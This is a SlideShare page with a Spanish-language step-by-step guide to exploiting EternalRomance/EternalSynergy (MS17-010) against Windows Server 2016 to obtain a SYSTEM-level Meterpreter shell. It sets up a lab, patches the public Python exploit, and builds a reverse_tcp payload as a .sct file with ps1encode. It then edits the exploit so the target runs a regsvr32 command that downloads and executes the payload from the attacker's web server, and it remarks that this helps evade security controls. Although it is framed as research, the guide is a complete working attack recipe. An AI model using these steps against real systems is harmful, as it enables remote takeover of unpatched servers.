SlideShare una empresa de Scribd logo
EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 1
EXPLOTAR ETERNALROMANCE/SYNERGY PARA OBTENER UNA
SHELL DE METERPRETER EN WINDOWS SERVER 2016
Sheila A. Berta (@UnaPibaGeek) – Security Researcher at Eleven Paths
shey.x7@gmail.com || sheila.berta@11paths.com
Julio 12, 2017
EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 2
Tabla de contenidos
EXPLOTAR ETERNALROMANCE/SYNERGY PARA OBTENER UNA SHELL DE METERPRETER EN WINDOWS
SERVER 2016.................................................................................................................................................1
Introducción..................................................................................................................................................3
Entorno de laboratorio..............................................................................................................................3
Obtención del exploit....................................................................................................................................5
Resolver dependencias..............................................................................................................................5
Comprobación de funcionamiento...............................................................................................................6
Datos de autenticación..............................................................................................................................6
Parámetros................................................................................................................................................6
Ejecución sin shellcode..............................................................................................................................7
Preparación de una shellcode.......................................................................................................................8
Generar archivo .SCT con PS1ENCODE......................................................................................................8
Permitir descarga de shellcode.sct............................................................................................................9
Alteración del comportamiento del exploit................................................................................................10
Ejecutar la shellcode................................................................................................................................10
Obtención de la sesión de meterpreter......................................................................................................11
Palabras finales… ........................................................................................................................................13
EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 3
Introducción
Cuando Microsoft publicó los parches para la vulnerabilidad MS17-010, quedó expuesto que el problema
afectaba desde Windows 7 (Vista en realidad, pero bueno, ese no cuenta :p) hasta Windows Server 2016.
Sin embargo, la serie de exploits “ETERNALS” publicados por TheShadowBrokers, presentan gran
inestabilidad al intentar impactar sistemas con Windows Server 2012 en adelante, provocando la mayoría
de las veces un BSOD en el equipo atacado.
Con el objetivo de entender su funcionamiento y mejorarlos, los exploits de la NSA que se hicieron
públicos, han pasado por la lupa de muchos investigadores. Gracias a ello, hace pocos días se publicó un
exploit que aprovecha el bug de ETERNALROMANCE/SYNERGY, con mejoras en el método de explotación,
para hacerlo más estable al momento de atacar sistemas con Windows Server 2012 y 2016. Pero lo cierto
es que, al fiel estilo de su autor (Sleepya), si se quiere utilizar dicho exploit es necesario ingeniárselas un
poco, entender cómo funciona y modificar algunas pequeñas cosas para lograr que, al momento de
impactar un objetivo, ocurra lo que nosotros deseemos.
Es por eso que tras haberlo analizado, aquí estoy escribiendo un nuevo “how to” :). En este paso a paso
se explica todo lo necesario para hacer funcionar el exploit de Sleepya correctamente y cómo modificar
su comportamiento con el fin de obtener una sesión de meterpreter sobre el equipo objetivo.
Por supuesto, esta documentación es con fines de investigación.
Entorno de laboratorio
Para montar el entorno de laboratorio, es necesario configurar los siguientes equipos:
1. Máquina objetivo - Windows Server 2016
Una máquina con Windows Server 2016 de 64bits será utilizada como target.
Luego de la instalación del sistema, no es necesario realizar cambios en el mismo, simplemente conocer
su dirección IP y asegurarse de que esté encendido al realizar el ataque.
2. Máquina atacante – Preferentemente GNU/Linux
Es posible utilizar cualquier sistema como máquina atacante, siempre y cuando se puedan ejecutar
correctamente las siguientes herramientas:
EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 4
• Python v2.7 - https://www.python.org/download/releases/2.7/
• Ps1Encode - https://github.com/CroweCybersecurity/ps1encode
• Metasploit Framework - https://github.com/rapid7/metasploit-framework
A continuación, el resumen de las configuraciones en el laboratorio:
• Windows Server 2016 x64 – IP: 10.0.2.13  Target.
• GNU/Linux Debian x64 – IP: 10.0.2.6  Atacante.
EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 5
Obtención del exploit
El código fue publicado en exploit-db y puede ser descargado desde siguiente enlace:
https://www.exploit-db.com/exploits/42315/.
Como podemos observar, está escrito en Python, por lo tanto lo guardamos con extensión .py en la
máquina atacante. Una vez hecho esto, si lo ejecutamos nos encontraremos con el siguiente error:
A continuación se explica cómo solventar este problema.
Resolver dependencias
En línea número tres del exploit se importa el módulo “mysmb”, el cual no es propio de Python ni podemos
instalarlo usando pip. Este módulo fue desarrollado por Sleepya y tendremos que descargarlo desde su
github en el siguiente link: https://github.com/worawit/MS17-010/blob/master/mysmb.py.
Lo guardamos con el nombre de “mysmb.py” en la misma carpeta donde hemos descargado el exploit.
Recordemos que en Python, para que un script pueda importar el código de un módulo, es necesario crear
un archivo llamado “__INIT__.py” donde se encuentren los mismos.
Al hacer esto, el script del exploit encontrará el módulo necesario y no mostrará más errores.
EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 6
Comprobación de funcionamiento
Es posible verificar el correcto funcionamiento del exploit sin hacer demasiadas modificaciones. Si lo
ejecutamos tal como está, una vez que la explotación sea exitosa creará un archivo llamado “pwned.txt”
en la unidad “C:” del equipo atacado.
Aunque esta simple comprobación no requiere que modifiquemos nada del exploit en sí, debemos definir
igualmente algunos datos y parámetros que veremos a continuación.
Datos de autenticación
El bug que explota ETERNALROMANCE/SYNERGY requiere que el ataque sea autenticado. Bien podría ser
a través de una cuenta Guest si está habilitada, sino, tendremos que obtener el usuario y contraseña de
alguna cuenta en el equipo objetivo. Es importante destacar que no importan los privilegios de la cuenta,
aun si fuera “Guest”, los privilegios que obtendremos al impactar serán de SYSTEM.
Para definir esta información, debemos abrir el exploit.py con cualquier editor de texto y dirigirnos a las
líneas 26 y 27:
Allí podremos definir el usuario y contraseña a utilizar para la autenticación.
Parámetros
El exploit necesita que definamos dos parámetros: la IP del objetivo y el pipe name. El protocolo SMB
define que un recurso compartido puede ser de tres tipos diferentes:
- File: archivo o disco, incluyendo subdirectorios.
- Print: recursos para impresión.
- Pipe: comunicación entre procesos siguiendo el modelo FIFO, donde se conoce como named pipes
a aquellas conexiones que siguen vivas mientras el sistema siga en funcionamiento más allá de
que el proceso ya no se encuentre activo.
A diferencia de ETERNALBLUE, los exploits ETERNALROMANCE y ETERNALSYNERGY explotan un bug en el
acceso a named pipes, es por eso que es necesario definir cuál se utilizará al momento de impactar.
Personalmente suelo utilizar “spoolss”, otra opción es “browser”. También es posible utilizar el escáner
de metasploit: auxiliary/scanner/smb/pipe_auditor y ver cuáles se encuentran accesibles en el sistema
objetivo.
EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 7
Ejecución sin shellcode
Sin más, procedemos a ejecutar el exploit con el siguiente comando:
python exploit.py <ip_objetivo> spoolss
Tal como se mencionó antes, si la explotación fue exitosa veremos que se ha creado un archivo llamado
“pwned.txt” en la unidad “C:” del equipo atacado.
Haber logrado la explotación con éxito es un gran paso. A continuación, veremos cómo sacar mayor
provecho, modificando este último comportamiento en el exploit con el objetivo de ejecutar una shell
de meterpreter.
EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 8
Preparación de una shellcode
Hay muchas formas de lograr que el exploit ejecute una shell de meterpreter o cualquier otra acción en
lugar de simplemente escribir aquel archivo.
El primer paso es generar la shellcode que usaremos, para hacerlo utilizaré una forma que personalmente
me gusta mucho y tiene numerosas ventajas a la hora de evadir controles de seguridad.
En resumen, la shellcode estará en un archivo .SCT que el exploit se encargará de descargar y ejecutar en
la máquina objetivo, devolviéndonos como resultado la tan ansiada sesión de meterpreter.
Generar archivo .SCT con PS1ENCODE
Ps1Encode es una herramienta muy útil que permite generar y codificar payloads de metasploit en
diversos formatos basados en PowerShell. Podemos obtenerla desde su github:
https://github.com/CroweCybersecurity/ps1encode.
Para generar el payload que necesitamos, ejecutaremos la herramienta con los siguientes parámetros:
ruby ps1encode.rb --PAYLOAD windows/meterpreter/reverse_tcp --LHOST=<IP_ATACANTE> --
LPORT=4444 -t sct
El archivo .sct que estamos generando, tendremos que almacenarlo en un web server en la máquina
atacante o en cualquier otro equipo que pueda ser accedido sin problemas por la máquina objetivo. Es
por ello que, al ejecutar el comando anterior, la herramienta nos pregunta cuál será la URL completa
donde alojaremos el archivo .sct. Si vamos a usar la propia máquina atacante, simplemente ingresamos:
http://<IP_ATACANTE>.
EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 9
Permitir descarga de shellcode.sct
El paso anterior nos generó un archivo llamado index.sct en la carpeta de ps1encode. Para que el mismo
pueda ser descargado por el exploit en la máquina objetivo, debemos moverlo a la carpeta del servidor
web y asignarle los permisos adecuados.
Tras realizar la ejecución de los comandos que vemos en la imagen superior, tendremos la shellcode
lista para ser usada.
EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 10
Alteración del comportamiento del exploit
Si abrimos el exploit con un editor de texto y nos dirigimos a la línea 463 en adelante, nos encontraremos
con lo siguiente:
Allí vemos las funciones que el exploit utiliza para crear el archivo “pwned.txt” en la máquina atacada,
pero más interesante aún, es la línea por debajo de ellas, donde se encuentra comentada la función
service_exec().
Si observamos, aquella función ejecuta el comando “copy” como ejemplo, creando una copia de
“pwned.txt”. Esto no se ejecutará a menos que quitemos el numeral (#) que precede a la función. Si lo
hacemos y volvemos a ejecutar el exploit, notaremos que en la unidad “C:” tendremos dos archivos de
texto: pwned.txt y pwned_exec.txt.
Es claro que podemos modificar el comando copy por cualquier otro que ejecute lo que nosotros
deseemos.
Ejecutar la shellcode
Ahora que conocemos donde modificar el exploit para cambiar su comportamiento final, editaremos la
línea que invoca a la función service_exec() para que ejecute el comando que se encargará de descargar y
ejecutar la shell de meterpreter:
regsvr32 /s /n /u /i:http://<ip_atacante_webserver>/shellcode.sct scrobj.dll
El exploit quedará de la siguiente forma:
EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 11
Obtención de la sesión de meterpreter
Finalmente, antes de realizar la ejecución del exploit.py, configuramos el exploit/multi/handler de
metasploit para recibir la sesión de meterpreter.
Volvemos a ejecutar el exploit guardando las modificaciones que hemos realizado en el paso anterior.
EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 12
Tras unos pocos segundos, obtendremos la sesión de meterpreter en la máquina objetivo, con privilegios
de SYSTEM.
EXPLOTAR ETERNALROMANCE/SYNERGY EN WINDOWS SERVER 2016 13
Palabras finales…
No hay tiempo para palabras finales, ve a parchear tus sistemas :-).
Agradecimientos:
Worawit Wang (@sleepya_).
Por bancarme siempre:
Claudio Caracciolo (@holesec).
Mateo Martinez (@MateoMartinezOK).
Luciano Martins (@clucianomartins).
Arturo Busleiman (@buanzo).
Ezequiel Sallis (@simubucks).
Cristian Borghello (@crisborghe / @seguinfo).
Sol O. (@0zz4n5).
@DragonJar || @ekoparty || “Las Pibas de Infosec”.
--
Sheila A. Berta - @UnaPibaGeek.

Más contenido relacionado

Similar a Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016

Cómo explotar EternalBlue en Windows Server 2012 R2
Cómo explotar EternalBlue en Windows Server 2012 R2Cómo explotar EternalBlue en Windows Server 2012 R2
Cómo explotar EternalBlue en Windows Server 2012 R2
Telefónica
 
Present3
Present3Present3
Corcuera pablo gestorincidenciasocs
Corcuera pablo gestorincidenciasocsCorcuera pablo gestorincidenciasocs
Corcuera pablo gestorincidenciasocs
pablo2017
 
Taller Kali Linux3: Rastreando Informacion y Objetivos -HackMadrid ene13
Taller Kali Linux3: Rastreando Informacion y Objetivos -HackMadrid ene13Taller Kali Linux3: Rastreando Informacion y Objetivos -HackMadrid ene13
Taller Kali Linux3: Rastreando Informacion y Objetivos -HackMadrid ene13
peter69
 
Robo y crackeo del archivo sam en win nt 2000-xp
Robo y crackeo del archivo sam en win nt 2000-xpRobo y crackeo del archivo sam en win nt 2000-xp
Robo y crackeo del archivo sam en win nt 2000-xp
AnxnLeg
 
Ataque win xp
Ataque win xpAtaque win xp
Ataque win xp
darlyjazmin
 
Explotar Eternalblue & Doublepulsar para obener una shell de Empire/Meterpret...
Explotar Eternalblue & Doublepulsar para obener una shell de Empire/Meterpret...Explotar Eternalblue & Doublepulsar para obener una shell de Empire/Meterpret...
Explotar Eternalblue & Doublepulsar para obener una shell de Empire/Meterpret...
Telefónica
 
Episodio de pentesting
Episodio de pentestingEpisodio de pentesting
Episodio de pentesting
akencito
 
Trabajo final seguridad ofensiva defensiva
Trabajo final seguridad ofensiva defensivaTrabajo final seguridad ofensiva defensiva
Trabajo final seguridad ofensiva defensiva
arbeycardona2
 
Proof of concept: Auditando sistema con METASPLOIT
Proof of concept: Auditando sistema con METASPLOITProof of concept: Auditando sistema con METASPLOIT
Proof of concept: Auditando sistema con METASPLOIT
BTshell-Fran
 
Armitage pruebas
Armitage pruebasArmitage pruebas
Armitage pruebas
Tensor
 
Armitage pruebas
Armitage pruebasArmitage pruebas
Armitage pruebas
Tensor
 
INSTALACION DE CENTOS Y OPENSSL
INSTALACION DE CENTOS Y OPENSSLINSTALACION DE CENTOS Y OPENSSL
INSTALACION DE CENTOS Y OPENSSL
Edson Ortega
 
Cuckoosandbox
CuckoosandboxCuckoosandbox
Cuckoosandbox
Tensor
 
Como monitorear asterisk utilizando nrpe de nagios
Como monitorear asterisk utilizando nrpe de nagiosComo monitorear asterisk utilizando nrpe de nagios
Como monitorear asterisk utilizando nrpe de nagios
Guillermo Henriquez Gonzalez
 
Sallis Usb Hacks
Sallis Usb HacksSallis Usb Hacks
Sallis Usb Hacks
Cristian Borghello
 
Manual de hacking basico por taskkill#3
Manual de hacking basico por taskkill#3Manual de hacking basico por taskkill#3
Manual de hacking basico por taskkill#3
Brat Stell
 
Memoria Pruebas de intrusion mediante Metasploit Framework
Memoria Pruebas de intrusion mediante Metasploit FrameworkMemoria Pruebas de intrusion mediante Metasploit Framework
Memoria Pruebas de intrusion mediante Metasploit Framework
ErlaitzParreoMuoz
 
Como monitorear asterisk utilizando nrpe de nagios
Como monitorear asterisk utilizando nrpe de nagiosComo monitorear asterisk utilizando nrpe de nagios
Como monitorear asterisk utilizando nrpe de nagios
Mcp Servicios
 
Cuckoo sandbox
Cuckoo sandboxCuckoo sandbox
Cuckoo sandbox
Tensor
 

Similar a Cómo explotar EternalRomance & EternalSynergy en Windows Server 2016 (20)

Cómo explotar EternalBlue en Windows Server 2012 R2
Cómo explotar EternalBlue en Windows Server 2012 R2Cómo explotar EternalBlue en Windows Server 2012 R2
Cómo explotar EternalBlue en Windows Server 2012 R2
 
Present3
Present3Present3
Present3
 
Corcuera pablo gestorincidenciasocs
Corcuera pablo gestorincidenciasocsCorcuera pablo gestorincidenciasocs
Corcuera pablo gestorincidenciasocs
 
Taller Kali Linux3: Rastreando Informacion y Objetivos -HackMadrid ene13
Taller Kali Linux3: Rastreando Informacion y Objetivos -HackMadrid ene13Taller Kali Linux3: Rastreando Informacion y Objetivos -HackMadrid ene13
Taller Kali Linux3: Rastreando Informacion y Objetivos -HackMadrid ene13
 
Robo y crackeo del archivo sam en win nt 2000-xp
Robo y crackeo del archivo sam en win nt 2000-xpRobo y crackeo del archivo sam en win nt 2000-xp
Robo y crackeo del archivo sam en win nt 2000-xp
 
Ataque win xp
Ataque win xpAtaque win xp
Ataque win xp
 
Explotar Eternalblue & Doublepulsar para obener una shell de Empire/Meterpret...
Explotar Eternalblue & Doublepulsar para obener una shell de Empire/Meterpret...Explotar Eternalblue & Doublepulsar para obener una shell de Empire/Meterpret...
Explotar Eternalblue & Doublepulsar para obener una shell de Empire/Meterpret...
 
Episodio de pentesting
Episodio de pentestingEpisodio de pentesting
Episodio de pentesting
 
Trabajo final seguridad ofensiva defensiva
Trabajo final seguridad ofensiva defensivaTrabajo final seguridad ofensiva defensiva
Trabajo final seguridad ofensiva defensiva
 
Proof of concept: Auditando sistema con METASPLOIT
Proof of concept: Auditando sistema con METASPLOITProof of concept: Auditando sistema con METASPLOIT
Proof of concept: Auditando sistema con METASPLOIT
 
Armitage pruebas
Armitage pruebasArmitage pruebas
Armitage pruebas
 
Armitage pruebas
Armitage pruebasArmitage pruebas
Armitage pruebas
 
INSTALACION DE CENTOS Y OPENSSL
INSTALACION DE CENTOS Y OPENSSLINSTALACION DE CENTOS Y OPENSSL
INSTALACION DE CENTOS Y OPENSSL
 
Cuckoosandbox
CuckoosandboxCuckoosandbox
Cuckoosandbox
 
Como monitorear asterisk utilizando nrpe de nagios
Como monitorear asterisk utilizando nrpe de nagiosComo monitorear asterisk utilizando nrpe de nagios
Como monitorear asterisk utilizando nrpe de nagios
 
Sallis Usb Hacks
Sallis Usb HacksSallis Usb Hacks
Sallis Usb Hacks
 
Manual de hacking basico por taskkill#3
Manual de hacking basico por taskkill#3Manual de hacking basico por taskkill#3
Manual de hacking basico por taskkill#3
 
Memoria Pruebas de intrusion mediante Metasploit Framework
Memoria Pruebas de intrusion mediante Metasploit FrameworkMemoria Pruebas de intrusion mediante Metasploit Framework
Memoria Pruebas de intrusion mediante Metasploit Framework
 
Como monitorear asterisk utilizando nrpe de nagios
Como monitorear asterisk utilizando nrpe de nagiosComo monitorear asterisk utilizando nrpe de nagios
Como monitorear asterisk utilizando nrpe de nagios
 
Cuckoo sandbox
Cuckoo sandboxCuckoo sandbox
Cuckoo sandbox
 

Más de Telefónica

Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...
Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...
Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...
Telefónica
 
Índice de libro "Historias Cortas sobre Fondo Azul" de Willy en 0xWord
Índice de libro "Historias Cortas sobre Fondo Azul" de Willy en 0xWordÍndice de libro "Historias Cortas sobre Fondo Azul" de Willy en 0xWord
Índice de libro "Historias Cortas sobre Fondo Azul" de Willy en 0xWord
Telefónica
 
Índice del libro: Máxima Seguridad en Windows: Secretos Técnicos. 6ª Edición ...
Índice del libro: Máxima Seguridad en Windows: Secretos Técnicos. 6ª Edición ...Índice del libro: Máxima Seguridad en Windows: Secretos Técnicos. 6ª Edición ...
Índice del libro: Máxima Seguridad en Windows: Secretos Técnicos. 6ª Edición ...
Telefónica
 
Índice del libro "Hacking Web3: Challenge Acepted!" de 0xWord
Índice del libro "Hacking Web3: Challenge Acepted!" de 0xWordÍndice del libro "Hacking Web3: Challenge Acepted!" de 0xWord
Índice del libro "Hacking Web3: Challenge Acepted!" de 0xWord
Telefónica
 
Índice del libro "Amazon Web Services: Hardening de Infraestructuras Cloud Co...
Índice del libro "Amazon Web Services: Hardening de Infraestructuras Cloud Co...Índice del libro "Amazon Web Services: Hardening de Infraestructuras Cloud Co...
Índice del libro "Amazon Web Services: Hardening de Infraestructuras Cloud Co...
Telefónica
 
Índice del Libro "Ciberestafas: La historia de nunca acabar" (2ª Edición) de ...
Índice del Libro "Ciberestafas: La historia de nunca acabar" (2ª Edición) de ...Índice del Libro "Ciberestafas: La historia de nunca acabar" (2ª Edición) de ...
Índice del Libro "Ciberestafas: La historia de nunca acabar" (2ª Edición) de ...
Telefónica
 
Índice del Libro "Storytelling para Emprendedores"
Índice del Libro "Storytelling para Emprendedores"Índice del Libro "Storytelling para Emprendedores"
Índice del Libro "Storytelling para Emprendedores"
Telefónica
 
Digital Latches for Hacker & Developer
Digital Latches for Hacker & DeveloperDigital Latches for Hacker & Developer
Digital Latches for Hacker & Developer
Telefónica
 
Índice del libro "Hardening de servidores GNU / Linux 5ª Edición (Gold Edition)"
Índice del libro "Hardening de servidores GNU / Linux 5ª Edición (Gold Edition)"Índice del libro "Hardening de servidores GNU / Linux 5ª Edición (Gold Edition)"
Índice del libro "Hardening de servidores GNU / Linux 5ª Edición (Gold Edition)"
Telefónica
 
WhatsApp INT: OSINT en WhatsApp
WhatsApp INT: OSINT en WhatsAppWhatsApp INT: OSINT en WhatsApp
WhatsApp INT: OSINT en WhatsApp
Telefónica
 
Índice del libro "De la Caverna al Metaverso" de 0xWord.com
Índice del libro "De la Caverna al Metaverso" de 0xWord.comÍndice del libro "De la Caverna al Metaverso" de 0xWord.com
Índice del libro "De la Caverna al Metaverso" de 0xWord.com
Telefónica
 
20º Máster Universitario de Ciberseguridad UNIR
20º Máster Universitario de Ciberseguridad UNIR20º Máster Universitario de Ciberseguridad UNIR
20º Máster Universitario de Ciberseguridad UNIR
Telefónica
 
BootCamp Online en DevOps (and SecDevOps) de GeeksHubs Academy
BootCamp Online en DevOps (and SecDevOps) de GeeksHubs AcademyBootCamp Online en DevOps (and SecDevOps) de GeeksHubs Academy
BootCamp Online en DevOps (and SecDevOps) de GeeksHubs Academy
Telefónica
 
Índice del libro "Open Source INTelligence (OSINT): Investigar personas e Ide...
Índice del libro "Open Source INTelligence (OSINT): Investigar personas e Ide...Índice del libro "Open Source INTelligence (OSINT): Investigar personas e Ide...
Índice del libro "Open Source INTelligence (OSINT): Investigar personas e Ide...
Telefónica
 
Índice del libro "Social Hunters" de 0xWord
Índice del libro "Social Hunters" de 0xWordÍndice del libro "Social Hunters" de 0xWord
Índice del libro "Social Hunters" de 0xWord
Telefónica
 
Índice del libro "Kubernetes para profesionales: Desde cero al despliegue de ...
Índice del libro "Kubernetes para profesionales: Desde cero al despliegue de ...Índice del libro "Kubernetes para profesionales: Desde cero al despliegue de ...
Índice del libro "Kubernetes para profesionales: Desde cero al despliegue de ...
Telefónica
 
Los retos sociales y éticos del Metaverso
Los retos sociales y éticos del MetaversoLos retos sociales y éticos del Metaverso
Los retos sociales y éticos del Metaverso
Telefónica
 
Índice del Libro "Ciberestafas: La historia de nunca acabar" de 0xWord
Índice del Libro "Ciberestafas: La historia de nunca acabar" de 0xWordÍndice del Libro "Ciberestafas: La historia de nunca acabar" de 0xWord
Índice del Libro "Ciberestafas: La historia de nunca acabar" de 0xWord
Telefónica
 
Índice del libro "Docker: SecDevOps" 2ª Edición de 0xWord
Índice del libro "Docker: SecDevOps" 2ª Edición de 0xWordÍndice del libro "Docker: SecDevOps" 2ª Edición de 0xWord
Índice del libro "Docker: SecDevOps" 2ª Edición de 0xWord
Telefónica
 
Índice del libro "Malware moderno: Técnicas avanzadas y su influencia en la i...
Índice del libro "Malware moderno: Técnicas avanzadas y su influencia en la i...Índice del libro "Malware moderno: Técnicas avanzadas y su influencia en la i...
Índice del libro "Malware moderno: Técnicas avanzadas y su influencia en la i...
Telefónica
 

Más de Telefónica (20)

Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...
Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...
Índice del libro "Big Data: Tecnologías para arquitecturas Data-Centric" de 0...
 
Índice de libro "Historias Cortas sobre Fondo Azul" de Willy en 0xWord
Índice de libro "Historias Cortas sobre Fondo Azul" de Willy en 0xWordÍndice de libro "Historias Cortas sobre Fondo Azul" de Willy en 0xWord
Índice de libro "Historias Cortas sobre Fondo Azul" de Willy en 0xWord
 
Índice del libro: Máxima Seguridad en Windows: Secretos Técnicos. 6ª Edición ...
Índice del libro: Máxima Seguridad en Windows: Secretos Técnicos. 6ª Edición ...Índice del libro: Máxima Seguridad en Windows: Secretos Técnicos. 6ª Edición ...
Índice del libro: Máxima Seguridad en Windows: Secretos Técnicos. 6ª Edición ...
 
Índice del libro "Hacking Web3: Challenge Acepted!" de 0xWord
Índice del libro "Hacking Web3: Challenge Acepted!" de 0xWordÍndice del libro "Hacking Web3: Challenge Acepted!" de 0xWord
Índice del libro "Hacking Web3: Challenge Acepted!" de 0xWord
 
Índice del libro "Amazon Web Services: Hardening de Infraestructuras Cloud Co...
Índice del libro "Amazon Web Services: Hardening de Infraestructuras Cloud Co...Índice del libro "Amazon Web Services: Hardening de Infraestructuras Cloud Co...
Índice del libro "Amazon Web Services: Hardening de Infraestructuras Cloud Co...
 
Índice del Libro "Ciberestafas: La historia de nunca acabar" (2ª Edición) de ...
Índice del Libro "Ciberestafas: La historia de nunca acabar" (2ª Edición) de ...Índice del Libro "Ciberestafas: La historia de nunca acabar" (2ª Edición) de ...
Índice del Libro "Ciberestafas: La historia de nunca acabar" (2ª Edición) de ...
 
Índice del Libro "Storytelling para Emprendedores"
Índice del Libro "Storytelling para Emprendedores"Índice del Libro "Storytelling para Emprendedores"
Índice del Libro "Storytelling para Emprendedores"
 
Digital Latches for Hacker & Developer
Digital Latches for Hacker & DeveloperDigital Latches for Hacker & Developer
Digital Latches for Hacker & Developer
 
Índice del libro "Hardening de servidores GNU / Linux 5ª Edición (Gold Edition)"
Índice del libro "Hardening de servidores GNU / Linux 5ª Edición (Gold Edition)"Índice del libro "Hardening de servidores GNU / Linux 5ª Edición (Gold Edition)"
Índice del libro "Hardening de servidores GNU / Linux 5ª Edición (Gold Edition)"
 
WhatsApp INT: OSINT en WhatsApp
WhatsApp INT: OSINT en WhatsAppWhatsApp INT: OSINT en WhatsApp
WhatsApp INT: OSINT en WhatsApp
 
Índice del libro "De la Caverna al Metaverso" de 0xWord.com
Índice del libro "De la Caverna al Metaverso" de 0xWord.comÍndice del libro "De la Caverna al Metaverso" de 0xWord.com
Índice del libro "De la Caverna al Metaverso" de 0xWord.com
 
20º Máster Universitario de Ciberseguridad UNIR
20º Máster Universitario de Ciberseguridad UNIR20º Máster Universitario de Ciberseguridad UNIR
20º Máster Universitario de Ciberseguridad UNIR
 
BootCamp Online en DevOps (and SecDevOps) de GeeksHubs Academy
BootCamp Online en DevOps (and SecDevOps) de GeeksHubs AcademyBootCamp Online en DevOps (and SecDevOps) de GeeksHubs Academy
BootCamp Online en DevOps (and SecDevOps) de GeeksHubs Academy
 
Índice del libro "Open Source INTelligence (OSINT): Investigar personas e Ide...
Índice del libro "Open Source INTelligence (OSINT): Investigar personas e Ide...Índice del libro "Open Source INTelligence (OSINT): Investigar personas e Ide...
Índice del libro "Open Source INTelligence (OSINT): Investigar personas e Ide...
 
Índice del libro "Social Hunters" de 0xWord
Índice del libro "Social Hunters" de 0xWordÍndice del libro "Social Hunters" de 0xWord
Índice del libro "Social Hunters" de 0xWord
 
Índice del libro "Kubernetes para profesionales: Desde cero al despliegue de ...
Índice del libro "Kubernetes para profesionales: Desde cero al despliegue de ...Índice del libro "Kubernetes para profesionales: Desde cero al despliegue de ...
Índice del libro "Kubernetes para profesionales: Desde cero al despliegue de ...
 
Los retos sociales y éticos del Metaverso
Los retos sociales y éticos del MetaversoLos retos sociales y éticos del Metaverso
Los retos sociales y éticos del Metaverso
 
Índice del Libro "Ciberestafas: La historia de nunca acabar" de 0xWord
Índice del Libro "Ciberestafas: La historia de nunca acabar" de 0xWordÍndice del Libro "Ciberestafas: La historia de nunca acabar" de 0xWord
Índice del Libro "Ciberestafas: La historia de nunca acabar" de 0xWord
 
Índice del libro "Docker: SecDevOps" 2ª Edición de 0xWord
Índice del libro "Docker: SecDevOps" 2ª Edición de 0xWordÍndice del libro "Docker: SecDevOps" 2ª Edición de 0xWord
Índice del libro "Docker: SecDevOps" 2ª Edición de 0xWord
 
Índice del libro "Malware moderno: Técnicas avanzadas y su influencia en la i...
Índice del libro "Malware moderno: Técnicas avanzadas y su influencia en la i...Índice del libro "Malware moderno: Técnicas avanzadas y su influencia en la i...
Índice del libro "Malware moderno: Técnicas avanzadas y su influencia en la i...
 

Último

IA en entornos rurales aplicada a la viticultura
IA en entornos rurales aplicada a la viticulturaIA en entornos rurales aplicada a la viticultura
IA en entornos rurales aplicada a la viticultura
Miguel Rebollo
 
edublogs info.docx asdasfasfsawqrdqwfqwfqwfq
edublogs info.docx asdasfasfsawqrdqwfqwfqwfqedublogs info.docx asdasfasfsawqrdqwfqwfqwfq
edublogs info.docx asdasfasfsawqrdqwfqwfqwfq
larapalaciosmonzon28
 
Presentación de Tic en educación y sobre blogger
Presentación de Tic en educación y sobre bloggerPresentación de Tic en educación y sobre blogger
Presentación de Tic en educación y sobre blogger
larapalaciosmonzon28
 
Refrigeradores Samsung Modo Test y Forzado
Refrigeradores Samsung Modo Test y ForzadoRefrigeradores Samsung Modo Test y Forzado
Refrigeradores Samsung Modo Test y Forzado
NicandroMartinez2
 
Catalogo General Electrodomesticos Teka Distribuidor Oficial Amado Salvador V...
Catalogo General Electrodomesticos Teka Distribuidor Oficial Amado Salvador V...Catalogo General Electrodomesticos Teka Distribuidor Oficial Amado Salvador V...
Catalogo General Electrodomesticos Teka Distribuidor Oficial Amado Salvador V...
AMADO SALVADOR
 
Actividad Conceptos básicos de programación.pdf
Actividad Conceptos básicos de programación.pdfActividad Conceptos básicos de programación.pdf
Actividad Conceptos básicos de programación.pdf
NajwaNimri1
 
Catalogo Refrigeracion Miele Distribuidor Oficial Amado Salvador Valencia
Catalogo Refrigeracion Miele Distribuidor Oficial Amado Salvador ValenciaCatalogo Refrigeracion Miele Distribuidor Oficial Amado Salvador Valencia
Catalogo Refrigeracion Miele Distribuidor Oficial Amado Salvador Valencia
AMADO SALVADOR
 
Catalogo general Ariston Amado Salvador distribuidor oficial Valencia
Catalogo general Ariston Amado Salvador distribuidor oficial ValenciaCatalogo general Ariston Amado Salvador distribuidor oficial Valencia
Catalogo general Ariston Amado Salvador distribuidor oficial Valencia
AMADO SALVADOR
 
SISTESIS RETO4 Grupo4 co-creadores .ppsx
SISTESIS RETO4 Grupo4 co-creadores .ppsxSISTESIS RETO4 Grupo4 co-creadores .ppsx
SISTESIS RETO4 Grupo4 co-creadores .ppsx
tamarita881
 
Presentacion de Estado del Arte del The Clean
Presentacion de Estado del Arte del The CleanPresentacion de Estado del Arte del The Clean
Presentacion de Estado del Arte del The Clean
juanchogame18
 
Manual de Soporte y mantenimiento de equipo de cómputos
Manual de Soporte y mantenimiento de equipo de cómputosManual de Soporte y mantenimiento de equipo de cómputos
Manual de Soporte y mantenimiento de equipo de cómputos
cbtechchihuahua
 
Projecte Iniciativa TIC 2024 HPE. inCV.pdf
Projecte Iniciativa TIC 2024 HPE. inCV.pdfProjecte Iniciativa TIC 2024 HPE. inCV.pdf
